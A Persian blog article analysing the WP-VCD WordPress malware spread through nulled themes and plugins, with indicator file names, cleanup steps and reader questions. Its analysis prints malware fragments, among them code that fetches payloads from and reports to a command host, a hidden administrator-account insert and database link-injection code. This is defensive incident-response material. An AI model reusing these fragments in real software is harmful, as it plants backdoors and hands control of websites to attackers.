شیوع بدافزار WP-VCD در سایتهای وردپرسی

از مشکلات عمده جامعه وردپرس فارسی اینه که محصولات افزونه و قالب وردپرس که به صورت نال شده و غیر اورجینال تهیه شده و در اختیار کسانی که به دنبال خرید قالب و افزونه هستند قرار گرفته است. اما مشکل بزرگتر درست وقتی رخ میده که از یک طرف به دلیل تحریم و از طرف دیگه به علت افزایش هزینه برای خرید این محصولات خیلی از افراد از خیر خرید مستقیم از سایتهایی مثل انوانتو گذشته و از مارکتها و فروشگاههای ایرانی که هیچ تضمینی در اصالت محصولات وجود نداره خرید خود را انجام میدهند. ماجرا وقتی بدتر میشود که اکثر این محصولات حتی در مارکتهایی بزرگ و معتبر هم به صورت اصل تهیه نشدند و از طریق سایتهایی که این محصولات را منتشر میکنند دانلود شده و پس از راست چین کردن و فارسی سازی با قیمت بسیار کمتری از محصول در فروشگاه انوانتو در اختیار کاربران قرار میگیرند.
همین مسئله باعث به وجود اومدن بدافزارهای و شیوع اونها در سایتهای وردپرسی میشه که همه ساله با گزارشهای مختلفی از هک سایتهای وردپرسی مواجه میشیم. اما به جای اینکه به خودمون رجوع کنیم و پی به علت ماجرا که استفاده از محصولات نال شده است ببریم، به دنبال مقصر گذشته و تقصیرات را به گردن فروشندگان و مارکتهایی که این محصولات را خریداری کردیم میندازیم. البته درسته که کاری که اونها انجام میدن هم به مراتب بدتر هم هست و بی تقصیر هم نیستند.
شیوع بدافزار WP-VCD در سایتهای وردپرسی
در طی یک سال گذشته بدافزار WP-VCD از همین طریق باعث آلوده شدن بسیاری از سایتهای وردپرسی شده است. این بدافزار که از طریق فایلهای قالب و افزونه وردپرس به سایت تزریق میشه میتونه یک یوزر ادمین به صورت خودکار ایجاد کرده و کارهای خرابکارانه روی سایت شما اعمال بکنه. به محض شروع کار بدافزار WP-VCD کدهایی در هسته اصلی وردپرس، قالب وردپرس، افزونه وردپرس و در دایرکتوریهای مختلف دیگه از هاست باعث آلوده شدن ساختار کلی سایت و به دست گرفتن کنترل سایت خواهند شد. که شامل موارد زیر است.
- ایجاد یک کاربر در وردپرس با نقش کاربری مدیرکل و با نام کاربری 100010010
- تزریق لینکهای مخرب در فوتر وردپرس که با استفاده از این لینکها معمولا کارهایی خرابکارانه مثل استفاده از روشهای کلاه سیاه سئو برای ضربه زدن به سایت شده و از طرفی با نمایش تبلیغات اسپم در سایت قربانی باعث پنالتی شدن سایت در گوگل خواهد شد.
- تزریق کدها از طریق فایل functions.php قالب که جزو مهمترین فایل در قالب وردپرس است و با استفاده از اون میشه هر کاری را در سایت انجام داد. کدی که در این فایل تزریق میشه حتی امکان تغییر در محتوای مطالب و بهروزرسانی نوشتهها در وردپرس را هم دارد.
- این بدافزار صرفا به همینجا بسنده نکرده و با قرار دادن فایلهای مخرب دیگه در پوشه wp-includes کارهای خرابکارانه بیشتری را هم روی سایت انجام خواهد داد که در ادامه به معرفی این فایلها میپردازم.
نحوه شیوع بدافزار WP-VCD و کارکرد آن روی سایت
اولین کاری که توسط این بدافزار اعمال میشه با اضافه شدن قطعه کد زیر در فایل post.php که در داخل پوشه wp-includes قرار داره انجام خواهد گرفت.
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php /** 2 /** * Core Post API
همونطور که میبینید در قدم بعدی با اضافه شدن این کد فایلی با نام wp-vcd.php به همین دایرکتوری اضافه میشه که به صورت base64 کدگذاری شده و با نام $install_code شروع به نصب برخی کد در فایلها خواهد کرد.
$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...] $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
کاری که کد بالا انجام میده اینه که کدهای زیر را به فایل فانکشن قالب وردپرس اضافه خواهد کرد.
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){ if (strpos($content, 'WP_V_CD') === false){ $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); } else { $ping = false; } }
سپس از راه دور فایلی با نام o.php را فراخوانی کرده و یک فایل متنی با نام class.wp.php را در پوشه wp-includes قالب قرار خواهد داد. که در کدهای زیر نمونهای از آن را میبینید.
$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));
حالا که کدهای فایل class.wp.php اضافه شدند. شامل کدهای زیر هستند که با استفاده از زبان php و کنترل دیتابیس کاری که انجام میدن اینه که یک یوزر با نام کاربری 100010010 در وردپرس اضافه خواهند کرد و نقش کاربری مدیرکل را به آن خواهند داد.
$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', '[email protected]', '', '2011-06-07 00:00:00', '', '0', '100010010');");
سپس با استفاده از کلید واژه API Toolkit Envato Market احتمالا درخواست یک بهروزرسانی برای قالب یا افزونه نمایش داده خواهد شد.
if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' . esc_attr( $options['api_key'])) . '<br>'; echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}
بعد از این مرحله مجددا از راه دور محتویات فایل codecxc.txt به صورت موقت داخل دایرکتوری php تزریق خواهند شد که کدهای زیر در آن قرار دارند.
$tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode);
از آنجایی که کدهای مخرب معمولا در قالبهای پرطرفدار تزریق شده است در برخی قالبها که سایتهای افراد قربانی از این طریق به بدافزار wp-vcd آلوده شدند کدهای زیر قرار داشتند.
//$exec=exec('mv /var/sites/e/exchange.stirlingworx.tech/public_html/wp-content/themes/Gridlove/gridlove/functions.php'); //file_put_contents('/home/hoefsmederijvanr/public_html/wp-content/themes/betheme/functions.php', $file);
حالا از همین طریق مجددا با استفاده از تزریق کدهایی در فانکشن قالب این بار سعی میشه تا در دیتابیس دست برده بشه و ساختار کلی دیتابیس برای جایگزینی لینکها و هر نوع محتوایی تغییر خواهند یافت که در زیر نمونهای از اونو میبینید که ازش برای تغییر جدول post که مربوط به نوشتهها هست استفاده شده است.
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) [...] $post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content); [...] $file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file); [...] $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
با استفاده از محتوای html که در کدهای بالا قرار داره فایلی با نام code1.php از راه دور کدهایی مجددا به فایل فانکشن قالب اضافه شده و شروع به اضافه کردن فایل دیگری با نام wp-tmp.php در پوشه wp-includes خواهد کرد که محتویات زیر در این فایل قرار دارند.
if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if($tmpcontent = @file_get_contents("http://www.aotson.com/code1.php?i=".$path))
که در نهایت بعد از اجرای این کدها هم کدهای html زیر به سایت اضافه خواهند شد.
<style>.crdtsp{position:absolute;left:-1000px;}</style> <div class="crdtsp"> <a href="https://www.downloadfreethemes.download/">downloadfreethemes</a></div>
اگر بخشی از کدهای فوق را در گوگل جستجو کنید با نتایج زیر برخورد خواهید کرد که نشان از شیوع گسترده این بدافزار در بسیاری از سایتها وردپرسی دارد.
اما مسئله به قدری بزرگ و فراگیر هست که کار به همینجا ختم نشده و با تزریق کدهای دیگه در بخشهای مختلف سایت انواع فایل و کارهای خرابکارانه دیگه روی سایت صورت میگیره که تا به امروز این موارد بررسی شدند. که باید برای اطمینان خاطر از شیوع این بدافزار ابتدا پوشه wp-includes وردپرس خودتون را بررسی کرده و ببینید که کدوم یکی از فایلهای زیر در اون قرار دارند.
class.wp.php wp-cd.php wp-vcd.php wp-tmp.php wp-feed.php
اگر هر یک از فایلهای بالا در پوشه قرار داشتند باید از شیوع بدافزار wp-vcd در سایت خودتون مطمئن بشید و سریعا در اولین اقدام شروع به رفع مشکلات بکنید تا قبل از اینکه تاثیرات بیشتری از اون را در سایت ببینید.
چطور از شیوع این بدافزار در سایت خود جلوگیری کنیم؟
اگرچه این بدافزار شیوع پیدا کرده زیاد خطرناک نیست و میتوان به راحتی آن را برطرف کنید، اما برای جلوگیری کردن از وقوع آن در سایت خود و قرار نگرفتن در لیست قربانیان بهتر است تا پیش از وقوع حادثه چاره ای بیندیشید. بهترین راهکار این است که اگر همچنان از قالب و افزونهای استفاده میکنید که مطمئن نیستید به صورت اورجینال تهیه شده، آن را از فروشنده اصلی دریافت کرده و با نسخه فعلی جایگزین کنید. در بیشتر موارد حتی قالبها و افزونههایی که خریداری میکنید از سایتها نال شده به صورت رایگان دانلود شده و پس از فارسی سازی برای فروش با عنوان نسخه اورجینال عرضه میشوند که هیچ گاه نباید از چنین سایتهایی خریدی انجام دهید. با این کار در حفظ کپی رایت نیز گام بلندی برداشتهاید و امنیت وردپرس سایت شما نیز بیشتر تامین خواهد شد.
در قدم بعدی باید از فایروال هاست خود برای نطارت در روی سایت استفاده بیشتری بکنید. هر چه زودتر بتوانید از اینکه آیا بدافزار در سایتتون نفوذ کرده یا نه جلوگیری کنید، راحتتر و سریعتر هم میتونید از شیوع بیشتر اون و انجام کارهای خرابکارانه بیشتر جلوگیری کنید. همچنین استفاده از افزونه WordFence Security هم یکی از بهترین راهها برای دانستن زودتر این موضوع است که در صورت اضافه شدن فایلی غیرعادی و جدا از هسته وردپرس در هاست سریعا شما را مطلع خواهد کرد.
سایت من به بدافزار wp-vcd آلوده شده، چیکار کنم؟
بعد از اطمینان از این موضوع در اولین اقدام باید به مسیر افزونهها در پیشخوان وردپرس رفته و کلیه افزونههای سایت خودتون را که غیر از مخزن وردپرس دانلود و نصب کردید غیرفعال کنید. سپس به مسیر نمایش در پیشخوان وردپرس رفته و یکی از قالبهای پیشفرض وردپرس را به عنوان پوسته قالب خودتون انتخاب کنید. سپس از بخش کاربران در وردپرس کلیه اعضایی که نقش کاربری مدیر کل دارند را بررسی کنید و اطلاعات هر کاربر را هم چک کنید. اگر کاربری با نام 100010010 یا هر کاربری که مشکوک به نظر میاد مشاهده کردید نقش کاربری وی را از مدیر کل به مشترک تغییر داده و یا اینکه حذف کنید.
سپس با استفاده از ابزار اسکن امنیتی موجود در هاست خودتون کل سایت را از نظر امنیتی اسکن و بررسی کنید تا موارد مشکوک را برطرف کنید. در صورتی که با نحوه کارکرد این ابزار آشنایی ندارید میتونید با ارسال تیکت برای میزبانی هاست خودتون مشکل را مطرح کنید تا به کمک هاستینگ بررسی دقیق و کاملتری روی سایت شما از نظر امنیتی و رفع مشکل بدافزار صورت بگیرد.
در مرحله بعدی به آدرس fa.wordpress.org مراجعه کرده و آخرین نسخه وردپرس را از این آدرس دانلود کنید. سپس از داخل فایل zip دانلود شده پوشه wp-content و فایل wp-config.php را حذف کنید. حالا فایل زیپ را در مسیری که وردپرس را نصب کردید آپلود کرده و کلیه محتویات را به غیر از دو مورد ذکر شده جایگزین کنید تا فایلهای مخرب از پوشه wp-includes حذف شوند.
در مرحله بعدی به مسیر تنظیمات> پیوندهای یکتا در پیشخوان وردپرس مراجعه کرده و یک بار روی دکمه ذخیره تغییرات کلیک کنید تا فایل htaccess. وردپرس هم آپدیت بشه تا اگر احیانا از طریق این فایل هم کاری صورت گرفته اصلاح شود. علاوه بر این کلیه پوشههای موجود در پوشه wp-contnet را هم بررسی کنید و هر فایل مشکوکی را که بررسی کرده و با نسخه اصلی جایگزین کنید.
حالا به phpmyadmin مراجعه کرده و با بررسی کل دیتابیس باید به دنبال این باشید که آیا تغییراتی در دیتابیس ایجاد شده است یا خیر. برای این موضوع باید از یک فرد متخصص کمک بگیرید تا دیتابیس را به درستی بررسی کنه. بیشترین سهم تغییرات در دیتابیس وردپرس توسط این بدافزار مربوط به جدول wp_posts است که نوشتهها در آن قرار دارند و با هدف تغییر در نوشته و وارد کردن لینک و محتوای اسپم مورد استفاده قرار میگیرد.
سلام آقای صادقی عزیز
مقاله خیلی خوبی بود، همه نکات و بخش های رو هم کامل توضیح دادید
کامل ترین توضیحات رو گفته بودید. ممنون
با سلام.ممنون از توضیحات کامل شما.من الان داخل wp-includesسایتم رو چک کردم این فایل بود class-wp.php این که مشکلی نداره؟؟ چون سایت من چنین مشکلی پیدا کرده بود و من متوجه نشده بودم تا وقتی که یک روز صبح دیدم که هم سایت و هم صفحه مدیریت سایت سفید شدن و کاملا از دست رفتن.از سرویس دهنده هاست کمک خواستم .اونها یک بک آپ رو بازیابی کردن که البته اون بک آپ آلوده بود و در قسمت کاربران یک شماره به عنوان مدیر کل اضافه شده بود.من خیلی تعجب کردم و سریع حذفش کردم اما سایت درست کار نمیکرد. یک بک آپ که از دو ماه قبل داشتم رو بازیابی کردم که خوشبختانه اون سالم بود.یک افزونه امنیتی به نام All In One WP Security and Firewall رو نصب و فعال کردم.همه افزونه های مشکوک رو هم حذف کردم. آیا افزونه ای مثل elementor هم ممکنه باعث بشه چنین اتفاقی بیفته.یا افزونه Hide Featured Image ؟
ویک سوال دیگه که بسیار ممنون میشم جواب بدهید: افزونه امنیتی هر چند ساعت یک بار برای من ایمیل میفرسته و از تغییرات فایلهای php اطلاع میده و همه اونها رو اصلاح میکنه و یا فایلهای اضافه شده رو حذف میکنه.آیا این مشکلی برای سایت به وجود نمیاره ؟لطفا میفرمایید که باید کدوم یک از فایلهای php رو برای اسکن تعیین کنم ؟
سلام، اگر افزونهها از مخزن وردپرس نصب شده باشن مشکلی براشون به وجود نمیاد. سعی کنید ویرایش و تغییری به صورت خودکار روی فایلها انجام نگیره، تغییر کدها فقط باید به صورت دستی باشه، این کار میتونه در آینده مشکلاتتون رو بیشتر بکنه.
ممنون از پاسخگویی شما. میشه بفرمایید این کد wp-includes که در حال حاضر داخل wp-includes سایتم هست مشکلی داره یا نه ؟(چون خیلی شبیه یکی از اون کدهایی هست که داخل مقاله تون فرمودید)البته سایتم در حال حاضر مشکلی نداره و داره کار میکنه اما میخوام اگر مشکلی داره پیشگیری کنم
اگر مواردی که داخل مقاله ذکر شده بودن باید پاک کنید تا مشکلی پیش نیومده.
عذر میخوام یک سوال مهم دیگه هم داشتم با توجه به اینکه شما حرفه ای هستید میشه بفرمایید که فایلهای php که اغلب در سایت وردپرسی در حال تغییر هستند و تغییر آنها طبیعی است و خطری ندارد ،کدامند ؟ منظورم اینه که وقتی که اسکنر امنیتی گزارش تغییر فایلهای php رو برای من میفرسته ،من باید نگران تغییرات کدام فایل های php شوم ؟و به تغییرات کدام یک از این فایلها توجهی نکنم ؟
سلام، این مورد به سایت شما وابسته است که افزونههای مختلفی دارید و در کنارش قالب هم هست.
سلام ما این مشکل رو داشتیم این فایل ها رو توی افزونه یا تم دانلود شده سرچ کنید
class.plugin-modules
و
class.theme-modules
سایتم گذاشتم اینجا دوستان چک کنند متوجه بشند
ممنون از مقاله خوبتون
سلام سایت من هر روز نام کاربری مدیر عوض میشه و وقتی میام وارد سایت بشم میگه نام کاربری درست نیست تو دیتابیس هم که میرم نام کاربری که در user_login هست تغییر میکنه و میشه 0xvinca هیچ دستکاریی تو سایت انجام نمیشه و همه چی سایت سر جاشه نام رو تغییر میدم وارد سایت نمیشه فراموشی رمز رو میزنم رمز جدید ست میکنم وارد سایت میشه
لطفا راهنمایی کنید مشکل از کجاست یا هک شده و چیکار باید بکنم ؟
سلام روز بخیر
کدهای قالبتون رو چک کنید که کد مخرب ایجاد نشده باشه همچنین دسترسی های متصل به وردپرستون رو هم بررسی کنید.
سلام
من همه ی این کار هارو کردم ولی دوباره فایل های wp-temp.php , wp-feed.php رو میسازه
چیکار کنم؟
با سلام و احترام
سایت بنده هم تصور میکنم به همین حمله دچار شده ولی هیچکدوم از فایل ها
class.wp.php
wp-cd.php
wp-vcd.php
wp-tmp.php
wp-feed.php
داخل مسیرها نیست. ولی itheme security و sucuri چنتا url و هشدار میدن که آلودست و malware داره سایت.
افزونه itheme security هم دارم که خریدم ولی تصور میکنم اصلی نباشه و نال شده.
1- داخل پوشه uploads نباید هیچ فایل php ای باشه؟ چون راکت یه فولدر داخل این پوشه میسازه…
2- افزونه اصلی رو از کجا باید بخرم که مطمئن باشن؟
راهکاری برای خلاص شدن از دست این حمله میشناسید؟ لطفا راهنمایی بفرمایید… یه جا درخواست دادم برای بررسی و اصلاحش گفتن 850 تومن هزینه داره ):
لطفا تقاضا دارم راهنمایی بفرمایید… یک دنیا متشکرم
سلام وقتتون بخیر؛
چک کنید که فایل htaccess یا جداول دیتابیستشون تغییر فاحش داشته یا نه. آیا کاربری با دسترسی کل با اسم مشکوک ایجاد شده یا خیر.
فایل هایی که نام بردید ایجاد شدن یا وجود ندارن. این ها نشونه های این بدافزار هستش. اگر نشانه ها رو دیدید سریع پاکسازی کنید.
برای پیشگیری هم می تونید سطح امنیتی سرویستون رو بالا ببرید با افزونه itheme security یا افزونه WordFence Security و موارد مشابه و قدرتمند.
سعی کنید افزونه یا قالب نال شده کمتر استفاده بشه چون خیلی پیش میاد که حاوی کد مخرب باشن و در صورت امکان حتما قبل از نصب صحت و سلامتشون رو چک کنید حتی می تونید از ابزارهای انلاین تشخیص سلامت هم استفاده کنید.
سلام وقت بخیر
من افزونه wordfence رو نصب کردم و اسکن کردم. فایل wp-feed در فولدر wp-include من وجود داره. فقط این فایل حذف بشه این بد افزار پاک میشه یا باید همه افزونه ها رو پاک کنم؟
لطفا کمکم کنید
سلام روزبخیرغ
وجود یکی از فایل های زیر در پوشه wp-includes میتونه مشکوک باشه…
class.wp.php
wp-cd.php
wp-vcd.php
wp-tmp.php
wp-feed.php
اول از همه کل سایت رو اسکن کنید..
بررسی کنید کدهای مخربی که در مقاله ذکر شد در سایتتون وجود نداشته باشه در خصوص پاکسازی سایت به صورت گسترده اقدام کنید.
افزونه هاتون رو بررسی کنید موارد بلااستفاده رو کلا حذف کنید و اون افزونه هایی که نال هستن یا حس میکنید از منابع معتبری تهیه نشدن رو حذف و با موارد سالم جایگزین کنید.
هسته وردپرس رو فرش کنید.
حتما هم چک کنید در محتوای سایتتون و دیتابیس تغییرا خاصی رخ داده یانه.
سلام دوستان
منم یه تجربه بگم
الان یکی از فایل های مخرب این ویروس با ویروس توتال اسکن کردم و تنها آنتی ویروسی که بهش حساس هست DrWeb که به نظرم داشته باشیدش به کارتون میاد.
سلام وقت بخیر؛
ممنون که تجربیاتتون رو با ما و کاربران به اشتراک میگذارید.